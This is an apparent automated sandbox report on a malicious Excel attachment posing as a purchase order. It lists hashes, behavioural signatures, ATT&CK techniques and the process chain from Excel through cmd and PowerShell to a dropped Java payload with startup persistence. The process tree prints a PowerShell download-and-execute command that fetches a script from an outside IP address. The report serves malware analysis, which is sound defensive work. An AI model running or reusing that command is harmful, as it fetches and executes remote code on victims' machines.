f148e9a2089039a66fa624e1ffff5ddc5ac5190ee9fdef35a0e973725b60fbc9

Analysis

max time kernel
118s
max time network
160s
platform
windows10_x64
resource
win10v20210408
submitted
30/08/2021, 18:23

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General

Target
purchase order-419617892#..xlsb
Size 69KB
Sample210830-tdbcfazrd2
SHA256 f148e9a2089039a66fa624e1ffff5ddc5ac5190ee9fdef35a0e973725b60fbc9
MD5 34339f5f8f3b303aad00272edfa2827f
SHA1 e1273963b7b1b7613f77e0ce353c108ae7557968
SHA512 fa74fab1b5762d712e61c465accd756b76d1a7c48a27f4b56e2f4298511f1ef8eb81d859763344fd7a14c57df5faa83db4c2bdb7f50c3c44e50582827fb17a4d
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://54.202.26.55/oo

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1212	3728	cmd.exe	67

Blocklisted process makes network request 1 IoCs

flow	pid	Process
25	1600	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4020	java.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sys.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sys.cmd	powershell.exe

Loads dropped DLL 6 IoCs

pid	Process
4020	java.exe
4020	java.exe
4020	java.exe
4020	java.exe
4020	java.exe
4020	java.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
856	4020	WerFault.exe	89

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3728	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
856	WerFault.exe
856	WerFault.exe
856	WerFault.exe
856	WerFault.exe
856	WerFault.exe
856	WerFault.exe
856	WerFault.exe
856	WerFault.exe
856	WerFault.exe
856	WerFault.exe
856	WerFault.exe
856	WerFault.exe
856	WerFault.exe
856	WerFault.exe
856	WerFault.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeRestorePrivilege	856	WerFault.exe
Token: SeBackupPrivilege	856	WerFault.exe
Token: SeDebugPrivilege	856	WerFault.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE
3728	EXCEL.EXE

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3728 wrote to memory of 1212	3728	EXCEL.EXE	79
PID 3728 wrote to memory of 1212	3728	EXCEL.EXE	79
PID 1212 wrote to memory of 1600	1212	cmd.exe	81
PID 1212 wrote to memory of 1600	1212	cmd.exe	81
PID 1600 wrote to memory of 3904	1600	powershell.exe	86
PID 1600 wrote to memory of 3904	1600	powershell.exe	86
PID 3904 wrote to memory of 4004	3904	cmd.exe	87
PID 3904 wrote to memory of 4004	3904	cmd.exe	87
PID 4004 wrote to memory of 4020	4004	cmd.exe	89
PID 4004 wrote to memory of 4020	4004	cmd.exe	89
PID 4004 wrote to memory of 4020	4004	cmd.exe	89

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\purchase order-419617892#..xlsb"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3728
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c powershell -ep b IEX (New-Object Net.WebClient).DownloadString('http://54.202.26.55/oo')
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep b IEX (New-Object Net.WebClient).DownloadString('http://54.202.26.55/oo')
    3⤵
    - Blocklisted process makes network request
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1600
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\User\Sys.cmd""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3904
    - - C:\Windows\system32\cmd.exe
        
        CMD.EXE /C C:\User\bin\java.exe -jar C:\User\x.jar
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4004
      - C:\User\bin\java.exe
        
        C:\User\bin\java.exe -jar C:\User\x.jar
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4020
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 496
        7⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:856

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1600-274-0x0000016D2F666000-0x0000016D2F668000-memory.dmp

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memory/1600-271-0x0000016D2F663000-0x0000016D2F665000-memory.dmp

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memory/1600-270-0x0000016D2F660000-0x0000016D2F662000-memory.dmp

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memory/1600-267-0x0000016D2F8C0000-0x0000016D2F8C1000-memory.dmp

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memory/1600-264-0x0000016D2F710000-0x0000016D2F711000-memory.dmp

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memory/3728-123-0x00007FFB7B160000-0x00007FFB7D055000-memory.dmp

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memory/3728-114-0x00007FF7A8860000-0x00007FF7ABE16000-memory.dmp

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memory/3728-115-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp

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memory/3728-116-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp

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memory/3728-117-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp

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memory/3728-118-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp

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memory/3728-121-0x00007FFB5C580000-0x00007FFB5C590000-memory.dmp

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memory/3728-122-0x00007FFB7D060000-0x00007FFB7E14E000-memory.dmp

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memory/3728-341-0x00007FFB58A70000-0x00007FFB58A80000-memory.dmp

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